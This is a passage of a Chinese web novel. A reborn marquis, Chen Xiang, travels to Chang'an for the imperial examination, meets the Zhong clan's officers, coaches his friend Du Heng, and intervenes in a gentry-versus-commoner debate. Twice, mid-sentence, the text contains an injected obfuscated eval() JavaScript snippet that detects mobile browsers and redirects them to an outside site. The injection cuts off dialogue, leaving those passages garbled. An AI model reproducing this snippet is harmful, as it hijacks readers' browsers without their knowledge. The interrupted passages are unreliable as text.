这一个“等”字,仿佛带着千钧之力,让他下意识地选择了听从。 他紧抿着双唇,缓缓坐了回去,但那紧握着剑柄的手却没有松开。 毕竟是第一次亲历这等生死场面,杜衡纵然强自镇定,可眼见着外面刀光血影,护卫中已有人受伤,他的心脏还是如同擂鼓般狂跳不止。 他忍不住回头看陈襄,却见对方依旧是一副波澜不惊的模样,甚至又缓缓合上了双眼,视外面的生死搏杀于无物。 一时间,杜衡的的心中竟莫名安定了不少。 ……不愧是陈兄,泰山崩于前而面不改色! 他哪里知道,此刻的陈襄看似闭目养神,实则正在脑海中进行着另一番操作。 “系统,帮我打开附近的地图,搜索官兵或巡防营的移动轨迹。” 【叮!地图已加载完毕。】 只见一张形如沙盘推演、却又无比精密的动态地图在陈襄的脑海中展开。 山川河流,道路关隘,清晰可见。代表己方车队的绿色光点被一大片代表劫匪的红色光点包围。 而在地图边缘,一队代表着官府军队的小白点,正在沿着官道,以极快的速度向此处行军,箭头直指他们所在的位置。 ——这便是武安侯虽然少有亲临前线指挥作战的经历,却总能料敌于先,算无遗策的原因。 果然不出他所料。再过几分钟那支军队便会赶到了。 陈襄微微调整了一下坐姿,让自己倚靠得更舒服一些。 未过多久,远处的官道传来急促的马蹄声。 “竟敢在天子脚下啸聚山林,拦路劫掠!还不束手就擒!” 人未至,声先到。 一人当先疾驰而至。 那人骑着一匹神骏非凡的纯白骏马,身披耀眼的明光铠,盔缨如火,威风凛凛。 紧随其后的是约莫二三十的骑兵,人人身着赤红色的皮质札甲,头戴同色的红漆皮胄,腰挎环首刀,手持长矛或弓弩,阵列分明,气势森严。 那些劫匪一见官兵,顿时四散奔逃,钻入两侧密林,转瞬不见踪影。 “分一半人去追!入林搜捕,莫要走了贼首!”那为首的将军勒马立定,抬手下令,“其余人,清剿残余,救护伤者!” 他一挥手,身后大部分士兵立刻催马,分头追击逃窜的匪徒,马蹄声和呼喝声迅速远去。 将军本人调转马头,带着几名亲兵,径直来到马车前。 他目光锐利地扫过狼藉的现场、护卫在车旁的仆从,最后,视线落在了紧闭的车门上。 马车内,杜衡松开一直握着的剑柄,长长地松了一口气。 他定了定神,理了理衣袍,推开车门就要下车拜谢对方。 陈襄一直安坐在座位上,车门一开,他的视线正对上这名立马于车前的将军。 这将军看起来不过二十来岁,面容俊朗,英姿勃发。与寻常武将不同的是,他眉宇间还带着几分世家子弟特有的矜贵。 最为引人注目的,是对方的那双眼睛。 那是一双极其漂亮的丹凤眼。眼型狭长,眼尾微微上挑,线条古典优美,眸光锐利威严。 陈襄的目光与那双眼睛对上的刹那,微微一愣。 ……不用对方开口,他便已经猜到了对方的姓氏。 果不其然。 那将军目光如电地掠过车厢内部,最后定格在陈襄脸上。 “吾乃京兆司隶校尉钟毓!你们是何人?” 11. 第 11 章 颍川钟氏,清贵风雅,以律法与书法传家,与陈、荀同列顶级士族,声名赫赫。 同在颍川,陈襄自然多有熟悉。 那些士族有着根植于血脉的傲慢与自负,固守旧礼,对主公的新政阳奉阴违,其中便有钟家家主。 当初陈襄在思考拿谁家开刀立威时,便想到了钟家。毕竟对方知根知底,动起手来方便也更有威慑力。 于是,他亲率铁骑踏破了钟家门楣,该杀的杀,该威胁的威胁,最终逼得钟氏更换家主,俯首帖耳。 杀鸡儆猴的效果是显著的。 天下士族见陈襄如此六亲不认,一时间噤若寒蝉,无人再敢明目张胆地挑衅他的权威。 当然,他这番雷霆手段,与钟氏的仇算是彻底结下了。 陈襄的目光掠过面前将军英俊的面容,估算着他的年纪。当年事发时,对方恐怕年纪不大,应该不会记得他的面容。 那边杜衡已下车站定,向钟毓行礼拜谢:“我等是从荆州去往长安科考的士子,多谢将军及时驰援,若非将军,今日恐怕……” 钟毓骑着白马,立于满地的狼藉当中,并未回应杜衡,而是直直地看向车内的陈襄。 陈襄也起身走下马车,向钟毓见礼:“多谢钟校尉出手相救。” 钟毓道:“可有名帖?” 这便是要验明正身了。 陈襄其实是不太想在此处暴露身份的。毕竟眼下刚脱匪手,对面的又是与他有血海深仇的钟家人,在这荒郊野岭,谁知对方会不会一时冲动? 但杜衡听到此话却当即拿出了怀中的名帖,陈襄见状心中无奈,也只得将自己的名帖拿出。 钟隽接过,先扫了一眼杜衡的名帖,然后展开陈襄的名帖,垂目看去。 “豫州士子,陈琬?”他缓缓念出声来。 陈襄心中一诧。 陈琬? 原身不是叫陈湘么? 下一瞬,他脑中闪过萧肃那张面白心黑的脸。好啊,对方竟然不声不响地给他改了个名字。 他当初离开府衙时满心忧虑,过后也未仔细查看名帖,竟时至今日才发现。 陈襄对萧肃不通知他,就擅自做出决定的行为有些不满。但事情已成定局,他纵使心中思绪电转,面上却分毫不露,低头垂目,好像陈琬就是他原本的名字一般。 钟毓目光锐利地看着陈襄的面庞:“你可是颍川陈氏之人?” 在那道审视的目光之下,陈襄拱手:“回将军,说来惭愧,在下祖辈上确与颍川陈氏或有同源之谊。” “然则历经数代,早已是旁支中的旁支,血脉疏远,与寒门子弟并无二致。” 他面上恰到好处地露出个略带苦涩的笑容:“实在不敢妄自攀附,以颍川陈氏自居。” 钟毓闻言,狭长的丹凤眼微微眯起,又仔仔细细地打量了陈襄片刻。 “哼。”钟毓从鼻腔里发出一声意味不明的冷哼,像是嗤笑,又像是单纯的不耐烦。 他将名帖扔还给二人,没再多说一句话,猛地一勒缰绳。 “收队!” 白马调转马头,钟毓带着剩下的几名亲兵,头也不回地沿着官道疾驰而去,只留下一地狼藉和尚未散尽的烟尘。 看样子对方并未认出什么。 陈襄摇了摇头,将名帖收回怀中。 杜衡凑过来,脸上带着几分困惑,压低了声音问道:“陈兄,我记得你的名讳似乎……” 陈襄面色自然地忽悠:“临行前才改的。我想着与当朝武安侯同名,多有不便,理应避讳一二。” 时人因避讳或其他缘由改名换字也是常有的事,杜衡虽觉可惜,但也理解地点了点头。 钟毓带兵离开后,车队迅速清点损失。 除了几名护卫受了些轻伤,并无重大人人员伤亡,财物也未丢失多少。经历这番波折,众人加紧了行程,终于在夕阳彻底沉入西山之前赶到了长安城。 望着那巍峨的城墙,以及城门上那历经风雨的“长安”二字,陈襄一时竟有些恍惚。 他又回到了这熟悉的地方。 马车驶入城门,城内繁华的景象扑面而来。街道上行人如织,车水马龙,叫卖声、说笑声不绝于耳,一派盛世景象。 因着科举在即,天下读书人汇聚长安,路上随处可见穿着各色长袍的士子。 杜衡第一次来到长安,被这繁华的景象与读书人的数量震撼,眼中闪烁着明亮的光芒。 但见天色将晚,他看向陈襄,提议道:“陈兄,我们还是先寻一家客栈落脚罢?明日再做打算。” 陈襄却摇了摇头,目光投向城东的方向:“不必去客栈。我们去东城的贡院附近,那里设有专门供外地士子居住的会馆。” “会馆?”杜衡头一次听说。 “嗯。”陈襄解释道,“这是朝廷为方便各地赴考士子所设,凭籍贯名帖便可入住,无需花费。” 这是他当年完善科举制度时特意推行的一项福利,旨在为那些家境并不宽裕的寒门学子提供便利,让他们能安心备考。 会馆内还设有一座藏书楼,藏书颇丰,可供士子们免费阅览。 杜衡闻言,当即道:“那我们现下这便去会馆。” 一行人来到贡院附近,果然在不远处见到了一处颇具规模的院落。 两人先去贡院外向负责驻守的礼部官员提交名帖,报道注册,而后就去会馆办理了入住手续。 会馆中院落宽敞,屋舍俨然。 与其他地方常见的按乡籍聚集不同,这里的士子们来自天南海北,口音各异,却都混居在一处,相互交流。 时隔三年,科举再开,吸引来的士子数量果然不少,虽是已傍晚,但院中仍人来人往,颇为热闹。 陈襄仿佛看见了一堆水灵灵的小白菜,颇感欣慰。 两人各自回房安顿下来。 …… 休息了几日,缓解了旅途带来的劳顿之后,陈襄与杜衡也开始与会馆中的其他士子有所接触。 居住在此处的大多是寒门子弟,也有家道中落的小士族。那些真正的高门世家子弟几乎不见踪影。 毕竟那些人家底丰厚,在长安城中大都置有宅邸或是相熟的门路,即便没有,也不会吝啬住客栈的钱财。 会馆房间陈设简单,仅有床榻、桌椅和简单的盥洗用具,但打扫得十分干净。 杜衡虽然不缺钱财,但对这样的环境倒也适应良好。 尤其是当对方发现了那座对外开放的藏书楼之后,双眼放光地一头扎了进去,恨不得一日三餐都要在里面吃。 “陈兄你看!”杜衡的声音里满是压抑不住的激动,“这竟是武安侯昔年的手稿!” 陈襄一惊,连忙扭头看去,可不正是他的字迹。 不是说藏书楼里只允许放科举相关的四书五经、大儒策论么? 谁把他年少时胡乱写的东西给放进去了?! 杜衡却浑然未觉,兀自沉浸在巨大的惊喜当中:“‘欲革新吏治,当先清丈田亩,核定人丁,使赋税归一’;‘兵者,诡道也,然亦需正兵以为基,奇兵以为辅,不可偏废’;‘敌进我退,敌驻我扰,敌疲我打,敌退我追’——” “没想到,武安侯年少之时,便有如此高屋建瓴之见,这等经世济民的策略!” ……这都什么跟什么! 陈襄听着那些他自己都快忘了的胡言乱语被杜衡当宝藏一样捧出来,只觉得额角的青筋突突直跳。 他黑着脸将那“手稿”从杜衡手中夺了过来。 “你都来长安多久了?”陈襄教训道,“怎能日日蹲在这四方屋子里,跟书本过一辈子?” 杜衡道:“科举在即,自当勤勉用功……” “同乡见了没有?文会参与了没有?” 陈襄的语气中带着几分恨铁不成钢:“还有,那些在京为官的同乡前辈,你可曾前去拜谒?” 这几乎是所有举子入京后不成文的规矩。既是联络乡谊,也是寻求可能的照拂和信息。 陈襄自己不去,一则他这个“陈琬”的身份,所谓的同乡他真不熟;二则,他本身也不是什么盼望做官的士子,来参与科举是另有目的。 杜衡则不同,他是正儿八经来赶考的士子,循规蹈矩地走这条路,对他有益无害。 这几日,陈襄游弋于长安的街道,打听零碎的信息,将明面上的脉络摸了个七七八八。 谁承想杜衡却两耳不闻窗外事,一心只扎根藏书楼。 “科举考的是什么?是文章,也是人情世故!”陈襄正颜厉色,“你这样闭门造车,纵有满腹经纶,也可能因为不合时宜而被黜落。” “居正,你要多与人交流,才能知道今科的风向,揣摩上意,明白主考官的喜好! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647339|172757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 你父亲给你起了这么个字,你怎么就不争气呢! 杜衡惭愧低头,虚心受教。 陈襄将杜衡赶了出去,嘱咐他多打听下关于主考官的消息,而后便回到自己房中。 这两日,他将从街头巷尾听来的信息汇聚,再加上之前萧肃告知他的信息,终于拼凑出一副完整的时局图景。 当今圣上年幼,太后临朝听政。 太后出身弘农杨氏,乃是根基深厚的顶尖士族,当初审时度势,很快投诚,故而成为了太祖拉拢的对象。 六部长官当中,有两位是寒门中人,其余四位都是出自士族高门。 至于三省长官。侍中是当今太后的族兄,属于外戚。尚书令一职自他死之后便一直悬空。 而担任中书令一职的,正是他的师兄,荀珩。 打探到此消息,陈襄一直悬着的心终于放下了。 呼,师兄并未出事便好。 心头沉甸甸的负重被移开了,陈襄终于能够静下心来仔细思考他接下来的计划。 他此次重生,根据系统所说,是因为有人妄图搅乱天下这来之不易的太平。他仇人虽多,但真有此等能力的,却屈指可数。 而这些人大多都在朝堂之上。 这人对他恨意深重,又有能力,这恰符合了摧毁陈家的条件,所以他当初便料定这两者间必有联系。 他本想着顺着这条线索顺藤摸瓜,将那幕后之人揪出来。但待他深入了解了如今朝堂的现况之后…… 陈襄眉间浮现出一丝冷意。 士族势力重新壮大,寒门势力陷入颓势,如今朝堂上已见端倪。 要是寒门被士族彻底地打压下去,君王又无法掌控士族,那朝堂岂非又会被士族把持、重蹈前朝的覆辙? ——他陈孟琢背负天下骂名,兢兢业业、各种改革了十年,努力了个寂寞?! 陈襄深深地吸了一口气。 ……是他之前想差了。 天下动乱,并非一人之“功”。他其实没有必要非得费尽心思找出此仇人的。 ——把所有士族全都按住再打过一遍,便什么都了结了。 反正他跟他们都有仇。 上辈子想着安稳过渡,没向士族下狠手,只想着用科举这等温和的手段潜移默化。 他还是太手软了。 陈襄睁开眼睛,眸中杀意尽现。 名震天下的武安侯的气势在此刻暴露无遗。那是被无数战火与鲜血洗练出的气势,若此刻有人在其对面,只会被吓的瑟瑟发抖、跪倒在地。 既如此,他便不能再游离于朝堂之外了。 想要真正洞悉内里的暗流涌动,重新掌握权利,必要亲身入局。 “陈琬”这个籍籍无名的小士子,要如何才能最快、最引人注目地重返那权力的漩涡中心? 答案几乎是瞬间浮现在陈襄脑海中。 科举。 没有比这更名正言顺的方式了。 十年寒窗无人问,一举成名天下知。只要他能在这场盛事中脱颖而出,榜上有名,自然会有立足之基,再想做什么都顺理成章。 陈襄心中定下决心。 ……至于师兄。 想到对方,各种思绪在陈襄的心中缠夹不清。 他没有探听到师兄的痕迹,好似对方面对朝堂的这摊浑水,一直只作壁上观一样。 但,这怎么可能呢? 师兄又不是萧肃。 或许,是因为市井传言终究浅薄,萧肃又离开多年,对朝堂中的瞬息万变也了解不清。 ——他还是得亲自去见一见师兄。 便待科举之后罢。陈襄心中暗自想道。 …… 杜衡还是靠谱的。不过一日功夫,他便带着一身风尘回来了。 “陈兄,”杜衡来到陈襄的房间,“我去拜会了同为荆州出身的礼部员外郎于大人,从他那里,打探到了诸位考官的名讳。” 陈襄坐直了身子,点点头听他讲。 杜衡在房中寻了椅子坐下,道:“此次恩科取士规模不小,单是房官便有十八位之多,皆是从各州德才兼备的学士中遴选。” “副考官是翰林院的掌院学士,邹大人邹亮。而主考官,”说到这里,杜衡顿了顿,而后道,“是当今的礼部尚书。” “钟大人,钟隽。” 12. 第 12 章 钟隽。钟伯甫。 竟是此人。 陈襄认识钟隽,甚至可以说,是打小便认识的。 昔年,颍川士族常有聚会,各家会带上自家悉心培养的小辈,名为交流,实则也是一种隐晦的较量与展示。 钟隽只比他年长一岁,却仿佛天生就少了孩童应有的活泼,永远衣着一丝不苟、坐姿端正挺拔,脸上挂着那种“非礼勿视,非礼勿听”的严肃表情,活脱脱一个行走的礼教牌坊。 这人还特别喜欢端着一副世家公子的架子,来教诲他这个不守规矩的人。 陈襄只觉得这人无趣至极,从来都是敬而远之。及至年长,两人更是没什么深交。 直到他对钟家动手,逼迫当时的钟家家主退位让贤。 ——接任家主之位的,正是钟隽。 对方在他以钟家上百口人命的威胁之下,被迫入了主公麾下,自此与他针锋相对。 他提出的诸多旨在迅速稳定局势、打破旧有格局的策略,钟隽几乎是逢策必反,引经据典,条条批驳。 陈襄倒也容忍了他的“唱反调”。 一来,钟隽此人古板尊礼,不擅那些勾心斗角,纵然反对也都是摆在明面上,从不像某些人那样当面一套背后一套,搞些阴私伎俩;二来,对方虽然喷他,但并不能对他造成实质性的阻碍,也确实恪尽职守地处理好了自己分内的事务。 如今想来,礼部尚书这个职位,掌管礼仪规制,祭祀典章,倒真是为对方量身定做一般。 “这位钟尚书,出身颍川钟氏,乃是当世名士,门生故吏遍布天下,在士林中声望极高。由他担任主考,足见朝廷对此次科举之重视。” 杜衡的声音将陈襄从短暂的回忆中拉回现实。 礼部尚书担任科举主考官,本是应有之义。 只是按理说,为了平衡各方势力,副考官通常会选用一位出身相对较低、但同样德才兼备之人。 可这次的副考官虽非顶尖士族,却也绝非寒门。 陈襄无声地叹了口气。 不过,既然主考官是钟隽……那倒不必去特意打探对方的喜好了。 “你此次答卷,字迹务必清晰整齐。”陈襄开口道,“最好用隶、楷,莫要想着炫耀用行书草书。” 钟家本就以书传家,钟隽自幼苦练又天赋极佳,早已为当世大家。 寻常学子那些刻意追求飘逸或险绝的笔法,在他眼中恐怕不过而而。 “还有策论,”陈襄的手指轻叩桌面,“立论不必追求什么惊世骇俗、石破天惊。钟伯甫此人,最重规矩法度,喜好的是四平八稳、中正平和的文章。” “所以,你的策论,结构务必清晰,论证务必扎实,观点稍显保守亦无妨。” 杜衡听得极为认真,将这些都记在心中。 陈襄沉吟片刻,又想起一桩关键之事,叮嘱道:“对了,你在策论中,尽量避免提及武安侯以及他的那些政策。钟伯甫不认同对方的思想。” 陈襄说这话后,以为杜衡会出言辩驳,毕竟对方对武安侯的推崇他有目共睹。 然而出乎他意料的是,杜衡只是眉头紧皱,似乎在内心快速权衡思考,然后郑重地点了点头应道:“衡,记下了。” 陈襄看向对方的眼神里充满了欣慰。 果然,他没看错人。 杜衡可比钟隽那家伙好多了! 钟伯甫这人又高傲又死板,哪怕把剑架在他的脖子上,他也绝对不会“委曲求全”。 当年他杀进钟家,当面威逼对方之时,对方差点就给他来了个宁死不屈自绝性命血溅当场。 再看眼前的杜衡,却知晓灵活变通。 “来来来。”陈襄心情甚好,这一路行来他也算是把杜衡当做自家后辈来看了。 他朝杜衡招了招手:“这科举策论的章法格式与寻常文章不同,我告诉你什么叫做‘八股文’……” 应试教育的经验,在这个科举刚刚兴起的时代简直是降维打击。 在陈襄的教诲之下,杜衡醍醐灌顶,经验值蹭蹭上涨。 而陈襄也并未无所事事。既已决定要参与科举并取得名次,那他也该用些心思准备。 有系统资料库在,考试内容倒无需担心,唯一需要上心的,便是如何掩饰他的字迹。 陈襄略一思考便想出了办法。 用左手答题。 曾有段时日,他的右手受伤,只能用左手写字,写出的字迹与右手全然不同,不追求艺术性,只以清晰为主,正合适用来考试。 他便将其捡起,练习了起来。 一连几日,两人都闭门学习,直到有会馆中的学子来敲门。 “杜兄,陈兄,可有好消息告知二位!” 来人也是荆州士子,与杜衡有几分交情,此刻正一脸兴奋:“翰林院那边传来消息,说是要在三日后举办一场大型文会,邀请此番所有来长安参加会试的举子!” “听闻届时不仅有翰林院的大学士亲临,甚至可能有几位德高望重的大儒也会出席讲经!” 这话一出,不仅是杜衡,连带着周遭几间客房里探出头来的学子,眼中都燃起了热切的光芒。 科举之前,京中大小文会不知凡几,但大多是同乡、同窗之间的小范围聚会。 像这般由翰林院出面,召集全体应试举子的盛会,还是头一遭。 这就像是老师在期末大考前,突然组织了一场全校范围的“学习经验交流会”,还请来了几个可能参与出题的“专家”坐镇。 你说你去不去? 无论是消息灵通、意在结交人脉的士族子弟,还是渴望一鸣惊人、获得垂青的寒门学子,都不会错过这样的机会。 杜衡看向陈襄,眼中带着明显的询问和期待。 陈襄略一思忖,便点了点头。一味地闭门造车也不妥,这场文会无疑是观察各方反应、收集信息、了解竞争对手的最佳场合。 “同去。”陈襄言简意赅道。 …… 三日后,惠风和畅,春光明媚。 因为学子众多,朝廷特意开放了一处郊外园林作为此次宴会的场地。陈襄与杜衡随着几位相熟的学子,一同登上了会馆准备的马车。 时已入三月,绿草茵茵,杨柳依依,目之所及的是郊外广阔的原野和连绵的青山。 马车行了约莫半个时辰,便遥遥望见一片掩映在绿树中的亭台楼阁,红墙琉璃瓦在阳光下熠熠生辉。 此园乃是前朝末代皇帝倾举国之力,搜刮民脂民膏所建。新朝建立后,这片园林自然也就归了皇室。 新朝崇尚节俭,并未对园林多加修缮,但其固有的规模和景致,依旧是寻常人难以想象的。 马车在园林外停下,一行人依次下车,步入园中。 甫一入内,只见园内早已是人头攒动,摩肩接踵。 放眼望去,到处都是高冠博带、衣袂飘飘的文人学子。或三五成群,聚于亭台水榭之旁;或独自一人吟咏赏景;或围拢在几处临时搭建的讲坛周围,翘首以盼。 群贤毕至,少长咸集,士子如云,蔚为壮观。 丝竹声声,伴着清谈笑语,一派和谐之景象。 此时文会尚未正式开始,同来的几位学子早已按捺不住,兴奋地四散开来,有的去寻觅相熟的同乡或故友,有的则被园中美景吸引,流连忘返。 杜衡认出了不远处几个同样来自荆州的士子,欲上前招呼。 “陈兄,那边有几位我的旧识,不如一同过去?” 陈襄微微摇头,道:“居正自去便可,我在此处随意走走。” 目送杜衡离开,陈襄缓步走到一处临水的石桌旁。 此处位置稍偏,视野却颇为开阔,正好能将园中大部分景象收入眼底。 他上辈子也曾来此参加宫宴。 但那时每一次踏入这片园林,都伴随着暗流涌动的政治角力和刀光剑影的权谋算计,如今这般轻松地欣赏景色,却是从未有过。 赏了一会儿景,陈襄便将目光移到人身上。 这一看,便见场中寒门与士族之间的壁垒无比清晰。 出身高门的士族子弟,无一不是衣着光鲜。 他们身上的袍服多是用上好的锦缎、绫罗裁剪而成,往往还用金银丝线绣着繁复精美的暗纹。腰间悬挂的玉佩、香囊、金银配饰,无一不是价值不菲。 而与之形成对比的是那些寒门士子。他们大多穿着朴素的布衣长袍,三五成群地聚在一起,说话的声音不高,眉宇间虽有锐气与渴望,却也带着几分难以言喻的拘谨和自持。 那些锦衣华服的士族子弟大多只与同样出身之人交谈,寒门士子们也是相同。 两方人马,泾渭分明。 这便是如今朝堂上的缩影么。 陈襄端起桌上的茶壶,给自己倒了一杯茶水。 还未待喝上一口,便听见远处隐隐传来一阵喧闹之声。 “——《春秋》三传,固然各有侧重,然公羊学派微言大义,若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647340|172757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无家学渊源,只恐流于表面,难得精髓啊。 说话的是个身着银红锦袍的年轻士子,眉宇间带着几分自矜,身旁是几位同样衣饰华贵的同伴。 被他们目光所及的是几个穿着朴素襕衫的寒门学子。 一位寒门学子面皮涨红,出声反驳:“这位兄台此言差矣!圣人经典,天下公器,何来家学秘传之说?我辈虽出身寒微,用心研读,未必不能领悟其中深意。” 那红衣士子道:“这位兄台误会了,我等不过是在探讨经义,交流心得罢了。” “若兄台不忿吾之所言,既如此,那吾倒想向兄台请教,《春秋繁露》中‘天人感应’之说,董子本意与后世儒生之阐发,其流变若何?” 这问题看似寻常,实则刁钻,需得对经学流变有通盘了解,且能辨析其中细微差异。 那寒门学子一时语塞。他于经典原文或许熟悉,但对此等宏大梳理与辨析,却非一日之功。 更何况是在这众目睽睽之下,被对方带着审视甚至轻蔑的目光盯着。 他张了张嘴,终是未能答出。周围响起几声若有若无的蔑笑。 “《春秋繁露》论天人感应,旨在构建君权神授之基,强调君主德行与天意相通。董子本意,重在以天道警示人君,劝其修德。” 一道沉稳的声音响起,只见杜衡从人群中站了出来,身姿挺拔如松。 “后世阐发,或有偏重灾异谶纬,或有将其化为纯粹哲学思辨者,流变之中,确有偏离董子原初政教目的之嫌。至于矛盾之处,若论‘天不变,道亦不变’与‘天人感应’中天随人变的具体表现,确需细加分辨,然此非自相矛盾,乃是不同层面之论述……” 杜衡不疾不徐,将方才那问题剖析得条理分明。 红衣士子面色不好,他将杜衡上下打量了一番:“不知兄台是?” 杜衡见礼道:“杜衡,字居正。乃是荆州士子,出身零陵杜氏。” 那红衣士子在脑中回想一番,发现零陵杜氏不过是个乡下的小士族,皮笑肉不笑道:“原来是杜兄。” “杜兄高见,佩服。不过,方才我等所论,乃是公羊学派之精微,杜兄既有兴致,不如再请教一二?” 说罢,他与同伴交换了个眼色,接连又抛出几个关于《春秋》经义的僻难问题,涉及名物训诂、版本源流,颇有几分故意卖弄家学的意思。 但杜衡凝神思索,一一作答,虽偶有沉吟,但终究是引经据典,论述周全,将对方的问题逐一化解。 周围的人越聚越多,那几个世家子弟面色渐渐有些不好看。 他们将目光望向了中央的一位青年。 此人长着一副玉树临风的相貌,穿着一身宝蓝色的华袍,领口处别着枚金粟纽子,腰间悬着羊脂玉佩。 “崔兄……”红衣士子面带难色,也向对方望去,颇有几分求助之意。 对方点了点头,手里悠哉摇晃着的扇子“唰”地一合。 “诸位高论,确是精彩。”他将合起的扇子敲在手心,开口道,“只是,谈经论道,终究是为了经世致用。方才杜郎君言及‘天人感应’,谓其旨在‘警示人君,劝其修德’。” “然,若逢乱世,君王失德,天灾人祸并举,饿殍遍野,此时,为臣者当如何?是恪守‘天命’,坐待君王自省,祈求上天垂怜?还是当,另寻他途?” 此问一出,场间顿时一静。 之前的争论,尚在经学范畴之内,纵有刁难,亦有章法可循。但这“崔兄”的提问,却骤然拔高,直指忠君与民生,天命与人事的冲突。 在这前朝覆灭未久,新朝初立的背景下,这问题显得格外敏感。 杜衡脸色微变,张了张口,却一个字也说不出来。 若说坐待君王自省,未免迂腐冷漠,置万民于水火而不顾;可若是说“另寻他途”……在这前朝殷鉴不远的当口,这几乎等同于公然讨论“取而代之”的可能性。 周遭的空气仿佛凝固了,连带着风拂过树叶的飒飒声响也变得微弱而遥远。方才还略显嘈杂的人群,此刻鸦雀无声。 那群世家子弟们看向那“崔兄”,又看看顿口无言的杜衡。 这个问题,无人敢轻易接话。 就在这一片沉默当中,一道清越如玉石相击的声音突然自人群之后传出。 “天灾人祸,非独君王失德之兆,亦是吏治腐败,民生凋敝之果。” “为臣者,上不能匡君之失,下不能安抚黎庶,才需问‘当如何’!” 13. 第 13 章 另一边,不远处的一处庭院当中。 庭院一隅,邻水而建,立着一座小巧玲珑的六角攒尖顶凉亭。 凉亭六个翘起的飞檐线条流畅优美,檐角下悬挂着小巧的铜风铃,风过时发出清越的叮咚声响。 亭子四周设有半高的木制坐栏,可供人倚靠休憩,凭栏远眺可见不远处的水榭与波光粼粼的池面。亭内地面铺设着打磨光滑的青石板,中央摆放着一套石桌石凳,更显清幽雅致。 石桌上摆放着素雅的白瓷茶盏,袅袅热气升腾。几位身着紫袍玉带的翰林学士围坐桌旁,闲谈品茗。 其中一位年岁稍长、须发微白的翰林学士,正手持茶盏,慢悠悠地品着新贡的雨前龙井,神态怡然自得。此人姓张,在翰林院中资历颇深,为人一向沉稳。 此刻,他微微侧耳,似乎捕捉到了什么,抬眼望向庭院外围的方向,那里隐约有成群的人影晃动,喧哗声也似乎比方才更清晰了些。 “唔,”张学士放下茶盏,发出轻微的声响,打破了庭院的宁静,“那边是怎么回事,怎地聚集了这么多人?” 旁边一位相貌儒雅的李学士也循声望去:“听着动静不小,倒像是,起了什么争执?” 一名负责此间洒扫奉茶的小内侍趋步上前,躬身回话:“回禀几位学士大人,奴婢方才去前边添水,听当值的监丞说,好像是……是几位世家公子,与寒门士子起了些口角,辩论经义呢。” 张学士闻言,脸上露出一丝了然,复又端起茶盏,语气也恢复了那份慢条斯理:“哦,原来是学子们在较劲。少年意气,遇着观点不同难免要争个高下,算不得什么大事。由他们去罢。” 李学士却似乎多了一分兴致,追问道:“可知是哪几家的公子?竟能引得这般多人围观?” 那小内侍垂着头,小心翼翼地回道:“具体是哪几位公子,奴离得远,看得不甚真切。只听旁人议论,似乎崔尚书家的公子也在其中。” “哦?” 这话一出,原本气定神闲的张学士,端着茶盏的手几不可察地顿了一下,抬起的眼帘下,目光深邃了几分。 崔尚书家的公子? 这位崔尚书,指的是当朝的工部尚书崔晔,其人乃是清河崔氏的家主。清河崔氏世代簪缨,家学渊源,底蕴深厚。 李学士捋了捋颌下短须,若有所思:“崔家公子也在?这就有些意思了。能让他亲自下场争辩,想来对方也非等闲之辈。” 张学士望着那喧闹传来的方向,目光有几分审慎。 他端起茶盏,送到唇边,却没有饮下,只是看着茶水中沉浮的嫩叶,缓缓道:“年轻人论学,本是好事。只是,莫要失了分寸才好。” …… 那边,众人愕然转头,便见一位身长玉立的少年从树影下走出。 对方身形单薄,仅穿着一身鸦青色常服,样式简单至极,与周围锦衣华服刻意装点的风雅士子们相比,显得格格不入。 那些家境不算宽裕的寒门子弟,尚且会佩戴些玉佩、香囊,以示读书人的身份和品味。 可这少年身上却是空无一物,连头发也仅用一支木簪挽起,松弛得好像不是出席文会,而是在家中会见旧友。 但对方的风姿实在过于出众,让人忽略了他衣着的简朴。 少年的肤色极白,是一种近乎透明的冷感,衬得那泼墨般的黑发愈发浓郁。 他眉如墨画,目如点漆,全身上下只有朱唇那一点明艳的红。 对方周身带着一种让人难以接近的气度。他向前走来,人群就不自觉的给他避让开一条路。 此人正是陈襄。 那位“崔兄”在最初的微怔之后,目光落在陈襄身上细细打量了片刻,忽而抚掌一笑:“这位兄台高论,鞭辟入里,佩服!在下清河崔谌,不知兄台高姓大名?” 陈襄的目光却并未投向他,也没有立刻回答对方的话,只是声音平稳道:“《尚书》有云:‘民惟邦本,本固邦宁。’若国本动摇,非止一人之过。真至‘饿殍遍野’之时,言‘天命’,是自欺;言‘祈求’,是无能;言‘另寻他途’……呵。” 说到这里,他发出一声极轻的嗤笑:“不过是为一己之野心或无能,寻找冠冕堂皇的借口罢了。” 话音落定,他终于缓缓转过视线,落在了崔谌的身上。 “与其空谈当如何,不如反思,何以至此?为臣者,在其位,谋其政。若不能,便让贤。若不让——” 陈襄的声音顿了一顿,敲打在众人紧绷的心弦上:“——那便不是‘当如何’的问题,而是‘能如何’与‘敢如何’的问题了!” 这番带着一股不容置疑、决绝冷酷的言语一出,所有人都被震慑住了。 那些世家子弟脸上倨傲和看戏的神情早已消失不见。唯有杜衡双眼发亮的看着陈襄。 崔谌的脸色也微微变了。 他脸上的笑容敛去,眼神变得深邃起来,紧紧地盯着陈襄。 这番言论,远比他预想的要大胆,也更加一针见血。 陈襄却一副浑然不觉的样子。他说完那番话语之后,竟是忽地微微一笑。 这一笑,犹如冰雪初融、春风过境,瞬间冲淡了他身上那股拒人于千里之外的冷漠之感。 